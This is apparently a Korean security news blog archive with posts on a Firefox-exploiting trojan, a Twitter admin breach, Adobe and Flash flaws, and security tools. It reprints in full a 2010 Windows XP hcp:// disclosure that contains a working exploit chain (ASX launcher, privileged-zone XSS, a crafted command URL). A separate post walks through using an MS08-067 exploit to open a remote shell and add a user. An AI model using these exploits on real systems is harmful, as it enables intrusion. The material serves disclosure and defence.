보안 전문 기업인 Norman에서 근무하는 보안 전문가에 따르면 파이어폭스(Firefox) 브라우저의 취약점을 이용하여 트로이목마를 PC에 다운로드케하는 공격이 발견되었다고 합니다.

이 공격은 노벨상 웹사이트의 해킹을 조사하는 과정에서 발견되었으며, 웹사이트의 해킹 뿐만 아니라 변조까지 이뤄진 것으로 알려졌습니다.

이 취약점은 파이어폭스 v3.5와 v3.6 버전에서 발생하고 있으며 아직까지 구체적인 공격 대상이 밝혀지지는 않았습니다.

취약점을 통해 공격이 성공적으로 이뤄지면, %WINDOWS%\temp 폴더에 symantec.exe 라는 이름의 트로이목마 설치 프로그램을 다운로드합니다.

그리고, 윈도우 부팅시에 자동으로 시작되도록 아래 레지스트리에 경로를 등록합니다.

* HKCU\Software\Microsoft\Windows\CurrentVersion\Run
* HKLM\Software\Microsoft\Windows\CurrentVersion\Run

설치가 완료되면 몇가지 의심스러운 동작을 수행하는데 다음과 같습니다.

* nobel.usagov.mooo.com, update.microsoft.com 사이트에 HTTP(#80) 포트로 접속 시도
* l-3com.dyndns-work.com, l-3com.dyndns.tv 에 접속을 시도

하지만, 어떠한 연유로 microsoft.com에 접속하는지 아직 명확히 밝혀진 점은 없습니다.

최근에 발생하는 보안 이슈들을 살펴 보면, 윈도우 운영체제 보다는 아도브(PDF), 자바와 같이 애플리케이션 단에서 발생하는 경우가 더 많습니다. Secunia의 PSI와 같은 보조 솔루션을 심각하게 검토해야 할 단계가 아닌지 모르겠습니다.

Secunia의 PSI(Personal Software Inspector)
http://moonslab.com/408

출처: http://www.norman.com/security_center/virus_description_archive/129146/
reTweet
Posted by 문스랩닷컴
blog comments powered by Disqus
    지난 6월 10일, 윈도우 XP 운영체제의 '도움말 센터' 기능에서 제로데이 취약점이 발견되어 알려졌으며, 이러한 취약점을 이용하는 공격코드를 구글에서 공개해 파장이 일고 있습니다.

    아래 글상자는 공개한 공격 코드입니다.

    Microsoft Windows Help Centre Handles Malformed Escape Sequences Incorrectly
    ----------------------------------------------------------------------------
    
    Help and Support Centre is the default application provided to access online
    documentation for Microsoft Windows. Microsoft supports accessing help documents
    directly via URLs by installing a protocol handler for the scheme "hcp", 
    a typical example is provided in the Windows XP Command Line Reference,
    available at http://technet.microsoft.com/en-us/library/bb490918.aspx.
    
    Using hcp:// URLs is intended to be safe, as when invoked via the registered
    protocol handler the command line parameter /fromhcp is passed to the help
    centre application. This flag switches the help centre into a restricted mode,
    which will only permit a whitelisted set of help documents and parameters.
    
    This design, introduced in SP2, is reasonably sound. A whitelist of trusted
    documents is a safe way of allowing interaction with the documentation from
    less-trusted sources. Unfortunately, an implementation error in the whitelist
    allows it to be evaded.
    
    URLs are normalised and unescaped prior to validation using
    MPC::HTML::UrlUnescapeW(), which in turn uses MPC::HexToNum() to translate URL
    escape sequences into their original characters, the relevant code from
    helpctr.exe 5.1.2600.5512 (latest at time of writing) is below.
    
    .text:0106684C Unescape:
    .text:0106684C        cmp     di, '%'              ; di contains the current wchar in the input URL.
    .text:01066850        jnz     short LiteralChar    ; if this is not a '%', it must be a literal character.
    .text:01066852        push    esi                  ; esi contains a pointer to the current position in URL to unescape.
    .text:01066853        call    ds:wcslen            ; find the remaining length.
    .text:01066859        cmp     word ptr [esi], 'u'  ; if the next wchar is 'u', this is a unicode escape and I need 4 
    xdigits.
    .text:0106685D        pop     ecx                  ; this sequence calculates the number of wchars needed (4 or 2).
    .text:0106685E        setz    cl                   ; i.e. %uXXXX (four needed), or %XX (two needed).
    .text:01066861        mov     dl, cl
    .text:01066863        neg     dl
    .text:01066865        sbb     edx, edx
    .text:01066867        and     edx, 3
    .text:0106686A        inc     edx
    .text:0106686B        inc     edx
    .text:0106686C        cmp     eax, edx             ; test if I have enough characters in input to decode.
    .text:0106686E        jl      short LiteralChar    ; if not enough, this '%' is considered literal.
    .text:01066870        test    cl, cl
    .text:01066872        movzx   eax, word ptr [esi+2]
    .text:01066876        push    eax
    .text:01066877        jz      short NotUnicode
    .text:01066879        call    HexToNum             ; call MPC::HexToNum() to convert this nibble (4 bits) to an integer.
    .text:0106687E        mov     edi, eax             ; edi contains the running total of the value of this escape 
    sequence.
    .text:01066880        movzx   eax, word ptr [esi+4]
    .text:01066884        push    eax
    .text:01066885        shl     edi, 4               ; shift edi left 4 positions to make room for the next digit, i.e. 
    total <<= 4;
    .text:01066888        call    HexToNum             
    .text:0106688D        or      edi, eax             ; or the next value into the 4-bit gap, i.e. total |= val.
    .text:0106688F        movzx   eax, word ptr [esi+6]; this process continues for the remaining wchars.
    .text:01066893        push    eax
    .text:01066894        shl     edi, 4
    .text:01066897        call    HexToNum
    .text:0106689C        or      edi, eax
    .text:0106689E        movzx   eax, word ptr [esi+8]
    .text:010668A2        push    eax
    .text:010668A3        shl     edi, 4
    .text:010668A6        call    HexToNum
    .text:010668AB        or      edi, eax
    .text:010668AD        add     esi, 0Ah              ; account for number of bytes (not chars) consumed by the escape.
    .text:010668B0        jmp     short FinishedEscape
    .text:010668B2
    .text:010668B2 NotUnicode:                             
    .text:010668B2        call    HexToNum             ; this is the same code, but for non-unicode sequences (e.g. %41, 
    instead of %u0041)
    .text:010668B7        mov     edi, eax
    .text:010668B9        movzx   eax, word ptr [esi]
    .text:010668BC        push    eax
    .text:010668BD        call    HexToNum
    .text:010668C2        shl     eax, 4
    .text:010668C5        or      edi, eax
    .text:010668C7        add     esi, 4               ; account for number of bytes (not chars) consumed by the escape.
    .text:010668CA
    .text:010668CA FinishedEscape:
    .text:010668CA        test    di, di
    .text:010668CD        jz      short loc_10668DA
    .text:010668CF
    .text:010668CF LiteralChar:
    .text:010668CF        push    edi                  ; append the final value to the normalised string using a 
    std::string append.
    .text:010668D0        mov     ecx, [ebp+unescaped]
    .text:010668D3        push    1
    .text:010668D5        call    std::string::append
    .text:010668DA        mov     di, [esi]            ; fetch the next input character.
    .text:010668DD        test    di, di               ; have we reached the NUL terminator?
    .text:010668E0        jnz     Unescape             ; process next char.
    
    This code seems sane, but an error exists due to how MPC::HexToNum() handles
    error conditions, the relevant section of code is annotated below.
    
    .text:0102D32A        mov     edi, edi
    .text:0102D32C        push    ebp
    .text:0102D32D        mov     ebp, esp              ; function prologue.
    .text:0102D32F        mov     eax, [ebp+arg_0]      ; fetch the character to convert.
    .text:0102D332        cmp     eax, '0'
    .text:0102D335        jl      short CheckUppercase  ; is it a digit?
    .text:0102D337        cmp     eax, '9'
    .text:0102D33A        jg      short CheckUppercase
    .text:0102D33C        add     eax, 0FFFFFFD0h       ; atoi(), probably written val - '0' and optimised by compiler.
    .text:0102D33F        jmp     short Complete   
    .text:0102D341 CheckUppercase:
    .text:0102D341        cmp     eax, 'A'
    .text:0102D344        jl      short CheckLowercase  ; is it an uppercase xdigit?
    .text:0102D346        cmp     eax, 'F'
    .text:0102D349        jg      short CheckLowercase
    .text:0102D34B        add     eax, 0FFFFFFC9h       ; atoi()
    .text:0102D34E        jmp     short Complete   
    .text:0102D350 CheckLowercase:
    .text:0102D350        cmp     eax, 'a'
    .text:0102D353        jl      short Invalid         ; lowercase xdigit?
    .text:0102D355        cmp     eax, 'f'
    .text:0102D358        jg      short Invalid    
    .text:0102D35A        add     eax, 0FFFFFFA9h       ; atoi()
    .text:0102D35D        jmp     short Complete    
    .text:0102D35F Invalid:     
    .text:0102D35F        or      eax, 0FFFFFFFFh       ; invalid character, return -1
    .text:0102D362 Complete:   
    .text:0102D362        pop     ebp
    .text:0102D363        retn    4
    
    Thus, MPC::HTML::UrlUnescapeW() does not check the return code of
    MPC::HexToNum() as required, and therefore can be manipulated into appending
    unexpected garbage onto std::strings. This error may appear benign, but we can
    use the miscalculations produced later in the code to evade the /fromhcp
    whitelist.
    
    Assuming that we can access arbitrary help documents (full details of how the
    MPC:: error can be used to accomplish this will be explained below), we must
    identify a document that can be controlled purely from the URL used to access it.
    
    After browsing the documents available in a typical installation, the author
    concluded the only way to do this would be a cross site scripting error. After
    some careful searching, a candidate was discovered:
    
    hcp://system/sysinfo/sysinfomain.htm?svr=<h1>test</h1>
    
    This document is available in a default installation, and due to insufficient
    escaping in GetServerName() from sysinfo/commonFunc.js, the page is vulnerable
    to a DOM-type XSS. However, the escaping routine will abort encoding if characters
    such as '=' or '"' or others are specified. 
    
    It's not immediately obvious that this error is still exploitable, simple
    tricks like <img src=bad onerror=code> don't apply, and <script>code</script>
    isn't helpful as the code isn't evaluated again. In situations like this, the
    best course of action is to harass lcamtuf until he gives you the solution,
    which of course his encyclopaedic knowledge of browser security quirks produced
    immediately.
    
    <script defer>code</script>
    
    The defer property is an IE-ism which solves the problem, documented by
    Microsoft here http://msdn.microsoft.com/en-us/library/ms533719%28VS.85%29.aspx.
    Now that we are armed with knowledge of this trick, because these help
    documents are in a privileged zone, we can simply execute commands.
    
    You can test this with a command like so (assuming a recent IE):
    
    C:\> ver
    Microsoft Windows XP [Version 5.1.2600]
    C:\> c:\windows\pchealth\helpctr\binaries\helpctr.exe -url "hcp://system/sysinfo/sysinfomain.htm?svr=<script 
    defer>eval(unescape('Run%28%22calc.exe%22%29'))</script>"
    C:\>
    
    While this is fun, this isn't a vulnerability unless an untrusted third party
    can force you to access it. Testing suggests that by default, accessing an
    hcp:// URL from within Internet Explorer >= 8, Firefox, Chrome (and presumably
    other browsers) will result in a prompt. Although most users will click through
    this prompt (perfectly reasonable, protocol handlers are intended to be safe),
    it's not a particularly exciting attack.
    
    I've found a way to avoid the prompt in a default Windows XP installation in all
    major browsers, The solution is to invoke the protocol handler from within an
    <iframe> in an ASX HtmlView element. There are probably other ways.
    
    http://en.wikipedia.org/wiki/Advanced_Stream_Redirector
    
    The version of Windows Media Player that is available by default in Windows XP
    is WMP9, which installs an NPAPI and ActiveX plugin to render windows media
    content. Later versions also can be used, with some minor complications.
    
    Thus, the attack will look like this:
    
    $ cat simple.asx 
    <ASX VERSION="3.0">
    <PARAM name="HTMLView" value="http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/starthelp.html"/>
    <ENTRY>
       <REF href="http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/bug-vs-feature.jpg"/>
    </ENTRY>
    </ASX>
    
    Where starthelp.html contains something like:
    
    $ cat starthelp.html 
    <iframe src="hcp://...">
    
    Forcing a user to read an .ASX file can be achieved in a cross-browser manner like so:
    
    $ cat launchurl.html 
    <html>
    <head><title>Testing HCP</title></head>
    <body>
      <h1>OK</h1>
      <script>
            // HCP:// Vulnerability, Tavis Ormandy, June 2010.
            var asx = "http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/simple.asx";;
    
            if (window.navigator.appName == "Microsoft Internet Explorer") {
                // Internet Explorer
                var o = document.createElement("OBJECT");
                o.setAttribute("classid", "clsid:6BF52A52-394A-11d3-B153-00C04F79FAA6");
                o.openPlayer(asx);
            } else {
                // Mozilla, Chrome, Etc.
                var o = document.createElement("IFRAME");
                o.setAttribute("src", asx);
                document.body.appendChild(o);
            }
      </script>
    </body>
    </html>
    
    Therefore, we have the following interactions between multiple complex systems
    chained together:
    
    - From an html page, email, document, or other application force a user to
      fetch a .ASX file containing an HtmlView element.
    - From the HtmlView element, invoke the hcp protocol handler that would normally
      require confirmation.
    - From the HCP Protocol handler, bypass the /fromhcp whitelist by using the
      string miscalculations caused by failing to check the return code of
      MPC::HexToNum().
    - Once the whitelist has been defeated, invoke the Help document with a known
      DOM XSS due to GetServerName() insufficient escaping.
    - Use the defer property of a script tag to execute script in a privileged zone
      even after the page has been rendered.
    - Invoke an arbitrary command using the wscript.shell object.
    
    Figuring out how to use the MCP::HexToNum() error to defeat the /fromhcp
    whitelist took some analysis, but the result looks like the following.
    
    hcp://services/search?query=anything&topic=hcp://system/sysinfo/sysinfomain.htm%
    A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%
    %A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A
    %%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%
    A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A..%5C..%5Csysinfomain.htm%u003fsvr=%3
    Cscript%20defer%3Eeval%28unescape%28%27Run%2528%2522calc.exe%2522%2529%27%29%29%
    3C/script%3E
    
    --------------------
    Affected Software
    ------------------------
    
    At least Microsoft Windows XP, and Windows Server 2003 are affected. The attack
    is enhanced against IE >= 8 and other major browsers if Windows Media Player is
    available, but an installation is still vulnerable without it.
    
    Machines running version of IE less than 8 are, as usual, in even more trouble.
    
    In general, choice of browser, mail client or whatever is not relevant, they
    are all equally vulnerable.
    
    --------------------
    Consequences
    -----------------------
    
    Upon successful exploitation, a remote attacker is able to execute arbitrary
    commands with the privileges of the current user.
    
    I've prepared a demonstration for a typical Windows XP installation with
    Internet Explorer 8, and the default Windows Media Player 9.
    
    http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/launchurl.html
    
    In IE7 on Windows XP, just visiting this URL should be sufficient:
    
    http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/starthelp.html
    
    Some minor modifications will be required to target other configurations, this
    is simply an attempt to demonstrate the problem. I'm sure the smart guys at
    metasploit will work on designing reliable attacks, as security professionals
    require these to do their jobs.
    
    Additionally, my demonstration is not intended to be stealthy, a real
    attack would barely be noticable to the victim. Perhaps the only unavoidable
    signal would be the momentary appearance of the Help Centre window before the
    attacker hides it. There are multiple trivial techniques that can be used to
    accomplish this.
    
    Browsers are useful to demonstrate the problem, but there are certainly other
    attack vectors, such as MUAs, documents, etc. Protocol handlers are designed to
    be used across applications.
    
    -------------------
    Mitigation
    -----------------------
    
    If you believe you may be affected, you should consider applying one of the
    workarounds described below.
    
    Few users rely on Help Centre urls, it is safe to temporarily disable them
    by removing HKCR\HCP\shell\open. This modification can be deployed easily using
    GPOs. For more information on Group Policy, see Microsoft's Group Policy site,
    here
    
    http://technet.microsoft.com/en-us/windowsserver/bb310732.aspx
    
    A few caveats, 
    
        * I am aware that some support technicians rely on the Remote Assistance
          tool provided by the Help Center application using shortcuts like
          "explorer.exe hcp://CN=Microsoft%20Corporation,L=Re...". You can continue
          to use this technique by substituting "explorer.exe hcp://..." for
          "helpctr.exe /url hcp://...", without relying on the protocol handler.
    
        * One or two links in explorer, such as selecting "Help" from the Control
          Panel category view, may no longer function. If this concerns you, it is
          possible to gracefully degrade by replacing the protocol handler with a
          command to open a static intranet support page, e.g.
          "chrome.exe http://techsupport.intranet";.
    
        * As always, if you do not use this feature, consider permanently disabling
          it in order to reduce attack surface. Historically, disabling unused
          protocol handlers has always proven to be a wise investment in security. 
    
    In the unlikely event that you heavily rely on the use of hcp://, I have
    created an unofficial (temporary) hotfix. You may use it under the terms of
    the GNU General Public License, version 2 or later. Of course, you should only
    use it as a last resort, carefully test the patch and make sure you understand
    what it does (full source code is included). It may be necessary to modify it
    to fit your needs.
    
    The package is availble for x86 here:
    
    http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/hcphotfix.zip
    
    [ NOTE: Please avoid linking to this file out of context, it is intended for
            consideration as a potential mitigation by experienced administrators,
            and is not suitable for consumption by end-users ]
    
    The hotfix intercepts helpctr.exe invokations, and patches MPC::HexToNum() to
    return zero on error, rather than -1. Nothing is changed on disk, and it can be
    safely removed at anytime. Of course, the result of an invalid unescape is still
    incorrect, but this specific vulnerability should be rendered inert. I would be
    greatful if the community could contribute bugfixes, testing, an x64 port, and
    so on. Once information is in the open, we can all collaborate on our
    collective security.
    
    Some clarifications,
    
        * Fixing the XSS is not a solution, the root cause is the whitelist
          evasion, any mitigation that does not address this is simply papering
          over the issue. An army of researchers that specialise in XSS exists, and
          i'm sure they will turn their attention to help documents once they
          realise their value. Assume more will be discovered.
    
        * That said, if you are an XSS expert, examples in whitelisted pages
          (/services/index, /services/search, etc.) would be useful, your skills
          could be helpful making this important software safe.
    
        * Removing Windows Media player is not a solution, it simply makes a fun
          demo for IE8 and other modern browsers.
    
    Finally, you should take this opportunity to disable all browser plugins and
    SFS ActiveX controls that are not regularly used. End users can do this
    themselves in Google Chrome by viewing about:plugins and disabling the plugins
    that are not required. In Mozilla Firefox, use the Tools->Add-ons->Plugins
    interface.
    
    -------------------
    Solution
    -----------------------
    
    Microsoft was informed about this vulnerability on 5-Jun-2010, and they
    confirmed receipt of my report on the same day.
    
    Protocol handlers are a popular source of vulnerabilities, and hcp:// itself
    has been the target of attacks multiple times in the past. I've concluded that
    there's a significant possibility that attackers have studied this component,
    and releasing this information rapidly is in the best interest of security.
    
    Those of you with large support contracts are encouraged to tell your support
    representatives that you would like to see Microsoft invest in developing
    processes for faster responses to external security reports.
    
    -------------------
    Credit
    -----------------------
    
    This bug was discovered by Tavis Ormandy.
    
    -------------------
    Greetz
    -----------------------
    
    Greetz to Neel, Mark, Redpig, Spoonm, Skylined, asiraP, LiquidK, ScaryBeasts,
    Hawkes, Jagger, and all my other pimp colleagues.
    
    Special thanks to lcamtuf for his assistance with the deferred execution
    problem. You should read his Browser Security Handbook if you need to
    understand how web browser security /really/ works.
    
    http://code.google.com/p/browsersec/wiki/Main
    
    A colleague is organising a conference in Lucerne, Switzerland. He would really
    appreciate interesting papers from security people who want to talk about
    their research (travel, hotel, etc. covered).
    
    https://www.hashdays.ch/
    
    -------------------
    Notes
    -----------------------
    
    I would like to point out that if I had reported the MPC::HexToNum() issue
    without a working exploit, I would have been ignored.
    
    Without access to extremely smart colleagues, I would likely have given up,
    leaving you vulnerable to attack from those who just want root on your network
    and do not care about disclosure policies.
    
    This is another example of the problems with bug secrecy (or in PR speak,
    "responsible disclosure"), those of us who work hard to keep networks safe are
    forced to work in isolation without the open collaboration with our peers that
    we need, especially in complex cases like this, where creative thinking and
    input from experts in multiple disciplines is required to join the dots.
    
    A good place to start researching full disclosure would be this accessible
    and insightful essay by Bruce Schneier.
    
    http://www.schneier.com/essay-146.html
    
    His balanced coverage of the debate is also available in this essay.
    
    http://www.schneier.com/crypto-gram-0111.html#1
    
    Finally, a reminder that this documents contains my own opinions, I do
    not speak for or represent anyone but myself.
    
    -------------------
    References
    -----------------------
    
    hcp:// has been broken a few times over the years, for example:
    
    - http://seclists.org/bugtraq/2002/Aug/225, Delete arbitrary files using Help and Support Center
    - http://www.microsoft.com/technet/security/bulletin/ms03-044.mspx, HCP memory corruption by Dave Litchfield.
    
    The current design is actually pretty sound, I'm sure Microsoft are
    dissapointed they missed this flaw. In their defense, I think there's a good
    chance I would have also missed this in code review.
    
    -- 
    -------------------------------------
    taviso () cmpxchg8b com | pgp encrypted mail preferred
    -------------------------------------------------------


    구글에서 일하는 엔지니어인 Tavis Ormandy는 취약점의 원인 뿐만 아니라 공격하는 방법, 그리고 일시적으로 공격의 예방하는 방법 등 거의 모든 부분에 대해 아무런 가감 없이 상세하게 설명하였습니다.

    문제는 너무 자세하게 설명한 나머지 해커들이 이 정보를 이용하여 손쉽게 악성 코드를 생성할 수 있다는 주장이 마이크로소프트에 의해 주장되기도 했습니다.

    한편, MS의 이러한 공격에 대해 Tavis는 '내 자신의 의견일 뿐이다'라고 전혀 개연치 않는 발언을 하기도 했습니다.

    출처: http://www.itproportal.com/portal/news/article/2010/6/11/microsoft-hits-out-over-google-engineers-hacking-tips/

    공격코드: http://seclists.org/fulldisclosure/2010/Jun/205
    reTweet
    Posted by 문스랩닷컴
    blog comments powered by Disqus
      아크로뱃의 제작사인 어도비(Adobe)는 자사 블로그에 보안에 관련된 사항을 간단히 게시하였습니다. 내용을 요약하자면

      어도비 社는 아크로뱃 리더, 아크로뱃 9.1.2(최신 버전임), 플래시 플레이어 9, 10 버전에서 잠재적인 취약점에 대한 사항을 확인 중에 있으며, 수집된 정보를 이용하여 업데이트를 제공할 예정입니다.

      원문: http://blogs.adobe.com/psirt/2009/07/potential_adobe_reader_and_fla.html

      외국의 보안 사이트에 따르면, PDF 문서에 임베드된 플래시에서 취약점이 있는 것으로 알려 지고 있으며, 지난 수요일에 트위터(단문 기반의 서비스)의 트윗(게시 글)에 제로데이 웜이 출현한 것으로 알려지고 있습니다.

      reTweet
      Posted by 문스랩닷컴
      blog comments powered by Disqus
        최근 SNS로 인기를 얻고 있는 트위터(Twitter)가 크래커의 공격을 받고 있는데, 이 시점에 트위터 웹사이트의 관리자 계정이 침해되어 특정 사용자의 계정을 미리보기할 수 있는 것이 알려졌으며 최소한 10개의 개인 계정이 노출되었다고 공식적으로 확인되었습니다.

        Korben이라는 블로그를 운영하는 Manuel Dorne는 크래커가 트위터의 제품 관리 책임자인 Jason Goldman의 계정에 접근할 수 있는 권한을 가진 해커의 소식과 이에 관련된 스크린샷을 공개했습니다. 스크린샷에는 트위터 관리자를 포함하는 계정들의 민감한 정보인 IP 주소와 메일 주소를 보이지 않게 처리했습니다만 손쉽게 Jason Goldman의 계정을 검색할 수 있었습니다.

        13 장의 스크린샷을 통해 트위터에 관련된 계정을 보여 주었으며 특히 필요한 경우 트위터 계정을 추가할 때 새로운 구성원을 제안할 수 있돌고 하는 즉 관련된 사용자를 추가하거나 삭제할 수 있다는 점을 보여 주었습니다.

        스크린샷에는 페레스 힐튼의 가십 블로그에 차단된 사용자를 보여 주었으며 특히 미 대통령인 버락 오바마의 홈페이지에는 96 명의 트위터 유저가 차단되었습니다. 게다가 누출된 페이지에는 차단된 사용자의 목록과 사이트에 대한 설정 값을 포함하고 있습니다.

        (주: 트위터 홈페이지 관리자는 악성 댓글을 다는 등의 피해가 발생할 경우에는 방문자를 차단할 수 있습니다. 원래 차단한 내역은 관리자 이외에는 알기 어려우며 특히 차단된 사용자는 홈페이지의 컨텐트를 볼 수 없어 꽤 높은 차단 성능을 제공한다고 알려져 있었습니다.)

        트위터 대표인 Biz Stone은 이러한 보안 침해 사고에 대해 "비밀번호에 관련된 정보와 개인끼리 주고 받은 메시지는 노출되거나 변조되지 않았으며 트위터는 이 사건을 통해 보다 진지하게 보안적 측면을 검토하고 있습니다. 또한 모든 내부 시스템의 독립적인 보안 감사 시스템 구축 뿐만 아니라 사용자의 데이터를 보호하기 위해 침입 방지에 관련된 수단을 마련 중"이라고 밝혔습니다.

        트위터는  이들 사용자의 연락처는 모두 침해되었다고 언급했습니다.

        이 사건을 처음 알린 Dorne은 admin.twitter.com을 사용하여 트위터 관리자 계정에 로그온할 수 있는 웹페이지가 노출되어 있어 트위터의 보안은 아주 형편없다고 느꼈다고 합니다. 트위터의 사용자ID는 다른 사람이 공개적으로 획득할 수 있어 이를 통해 비밀번호를 손쉽게 추측할 수 있습니다.

        크래커는 먼저 트위터 관리자인 Goldman의 야후 계정을 해킹하여 트위터 계정에 접근할 수 있었다고 주장했습니다. 즉, 야휴의 계정이 바로 트위터의 관리자 계정이라는 의미로 비밀번호 찾기 질문에 응답함으로써 비밀번호를 초기화하였으며 메일 박스에 온 메일을 통해 비밀번호를 획득했다고 밝혔습니다. 크래커는 익스플로잇이나 XSS, 백도어, SQL 인젝션과 같이 최근 유행하는 공격 기법이 아닌 단순한 사회 공학적(Social engineering) 기법만으로 공격에 성공했으며 이러한 사항은 트위터의 공식 네트워킹 사이트를 통해 GOldman이 공식적으로 확인했다고 합니다.

        아래는 노출된 스크린샷의 일부입니다.



        트위터에서 Goldman의 계정이 복구된 화면입니다.

        이러한 해킹 공격과 더불어 트위터는 사이트의 웹 프로그래밍 취약점을 이용하는 다단계의 웜 공격이 있었다고 밝혔습니다. 이에 대한 소식은 따로 하나의 기사로 나눠서 올릴 예정입니다.

        http://www.tgdaily.com/content/view/42279/108/

        reTweet
        Posted by 문스랩닷컴
        blog comments powered by Disqus

          취약점이 발견되고 난 뒤 곧바로 이 취약점을 이용하는 공격코드가 출현하는 경우가 늘고 있습니다. 최근의 IE 버그를 볼 때 이러한 취약점은 개발사가 패치하기 전까지는 해결방법의 거의 전무한 상태입니다.

           안티바이러스 전문 기업인 F-SECURE에서는 이러한 제로데이 공격을 차단할 수 있는 익스플로잇 쉴드(Exploit Shield)를 출시하였습니다. 현재 베타버전으로 빌드는 0.5.2088 입니다.

           익스플로잇 쉴드는 웹 기반의 익스플로잇 공격과 이 공격으로 인해 감염되는 악성 프로그램을 차단합니다. 또한, 진단한 악성 프로그램이나 악성 프로그램을 담고 있는 URL은 자동적으로 F-SECURE 보안팀으로 전송되어 새로운 익스플로잇 코드 등을 분석하는데 도움을 줄 수 있습니다.

           익스플로잇 쉴드는 윈도우 XP(SP0부터 SP3)에서만 동작합니다. 또한, 인터넷 익스플로러, 모질라 파이어폭스를 지원합니다.

           익스플로잇 쉴드의 특징을 살펴보면 다음과 같습니다.

          * 제로데이 보호: 소프트웨어 벤더로부터 패치 버전을 제공받지 않은 클라이언트 PC 보호

          * 패치에 근접한 보호: 한번 업데이트만으로 모든 익스플로잇을 예방

          * 사전 방어: 휴리스틱 분석 기술을 통해 알려지지 않은 새로운 취약점으로부터 익스플로잇을 예방

          * 악성 웹사이트와 해킹당한 일방 사이트로부터 보호

          * 악성 URL을 자동으로 F-SECURE로 전송

           프로그램은 아래 링크에서 다운로드받을 수 있으며, 설치 과정은 아주 평이합니다.

          http://support.f-secure.com/beta/downloads/F-Secure%20ExploitShield%200.5%20build%2088.exe

           프로그램을 실행하면 아래와 같이 간단한 구조를 볼 수 있습니다.

           사용자가 설정할 부분은 Exploit Shield - Vulnerability Shields 부분입니다. 대부분 취약점을 막아야 하므로 실제 사용자가 설정할 부분은 거의 없습니다.

           단, 네트워크 환경에서 프록시를 사용하는 경우에는 아래와 같이 Automatic Updates - Connection 탭에서 프록시 정보를 입력해야 합니다.

           단점은 한글판 윈도우에서는 오른쪽 부분이 약간 잘려서 보인다는 점입니다. 아래 화면에서 자동 업데이트를 Check 하는 부분이 잘려 보입니다.

           참고로, 메모리에서 차지하는 용량은 약 12MB 정도로 작습니다.

           감사합니다.

          reTweet
          Posted by 문스랩닷컴
          blog comments powered by Disqus

            이번 달의 화두는 바로 MS08-067입니다. 인터넷 상에 PoC 공개되었습니다. 현재 국내로 취약점을 이용하여 다양한 공격이 이루어지고 있으며 아래 자료를 통해 Server 서비스가 공격을 받는 상세한 자료를 보실 있습니다.

            http://www.ntfaq.co.kr/4286

            또한, 최근 중국에서 이러한 코드를 이용하여 원격지(패치가 안된) 접속하는 자료가 소개되었습니다.

            익스플로잇 코드의 이름은 MS0867.exe 파일이며 이는 인터넷 상에서 손쉽게 구할 있으므로 생략합니다.

            공격 방식은 도스창(cmd) 열고 입력합니다.

            C:\경로\MS08067.exe <공격 서버 IP>

            만약 패치가 되어 있는 경우에는 아래와 같이 나타납니다.

            공격에 성공할 경우 netstat -na 명령어로 확인하여 있습니다.

            이제 텔넷 명령어로 개방된 포트로 접속하면 프롬프트가 나타납니다.

            아래와 같이 사용자를 추가하고 로컬 사용자 그룹에서 보면 사용자가 추가된 모습을 있습니다.

             

            감사합니다.

            출처: http://bbs.cnhacknet.com/thread-3315-1-2.html

            reTweet
            Posted by 문스랩닷컴
            blog comments powered by Disqus
              안티 바이러스, 시큐리티 슈트와 같은 보안 제품은 우리가 컴퓨터를 보다 안전하게 사용할 수 있도록 도와주는 프로그램입니다. 하지만, 등잔 밑이 어둡고, 가까운 곳에 적이 숨어 있는 법.

              또한, 보안 제품을 타겟으로 하는 전문 악성 프로그램(익스플로잇)이 있다고 합니다. 이에 대해 간략히 정리해 봅니다.

              시큐니아(Secunia)는 윈도우 뿐만 아니라 다양한 애플리케이션에서 발생할 수 있는 취약점을 상세하게 알려 주는 스캐너 프로그램으로 유명합니다. 시큐니아는 컴퓨터를 보호하기 위해 사용하는 여러 보안 제품들이 익스플로잇으로부터 위협이 되고 있다는 보고서를 밝혔습니다. 이 보고서에서는 보안 제품을 공격하는 실제 익스플로잇이 얼마나 되는지도 밝혔습니다.

              시큐니아는 맥아피, 시만텍, F-Secure, 빗디펜더, 판다, 카스퍼스키 등 회사가 제공하는 보안 프로그램과 마이크로소프트가 제공하는 원케어 그리고 존알람 시큐리티 슈트 8, AVG 인터넷 시큐리티 8, CA 인터넷 시큐리티 2008, 트렌드 마이크로 인터넷 시큐리티 2008, 노만 7.10 등 제품을 테스트하였다.

              약 300 가지의 익스플로잇에 대한 테스트가 진행되었으며 이 중 126개는 시큐니아에서 매우 중요하게 여기는 익스플로잇이었습니다. 가장 중요한 테스트는 바로 제로데이 위협, 널리 알려져 있는 익스플로잇, 그리고 시큐니아에서 개발한 익스플로잇으로 구성되어 있습니다.

              테스트 결과 노턴 인터넷 시큐리티 2009가 다른 제품이 비해 대부분의 익스플로잇을 진단하고 차단하는데 효과적인 것으로 밝혀졌습니다. 하지만, 즐거워하기에는 너무 이릅니다. 노턴에서 진단해 낸 익스플로잇은 300 개 중에서 고작 64개로 21.33%에 불과합니다.

              빗디펜더와 트렌드 마이크로는 두번째로 높은 진단율을 보였으며 각각 2.33%와 3.97%에 불과했습니다. 맥아피는 겨우 2%를 차지했지만 세번째로 등급이 매겨졌습니다.

              그리고 원케어, 카스퍼스키, AVG, F-Secure, 판다, 존알람, CA, 노만의 순서로 진단율을 보이고 있으며 존알람은 0.67%, CA는 0.33%에 불과했습니다.


              출처: http://www.thetechherald.com/article.php/200842/2243/Security-suites-fail-exploit-testing-as-Secunia-proves-layers-work
              reTweet
              Posted by 문스랩닷컴
              blog comments powered by Disqus
                아크로뱃, 포토샵 등으로 유명한 아도브(Adobe) 사에서 또하나의 인기 품목(!)인 플래시에서 보안 취약점이 발견되었습니다. 아직 패치가 나오지 않은 상태이므로 주의가 요망됩니다.

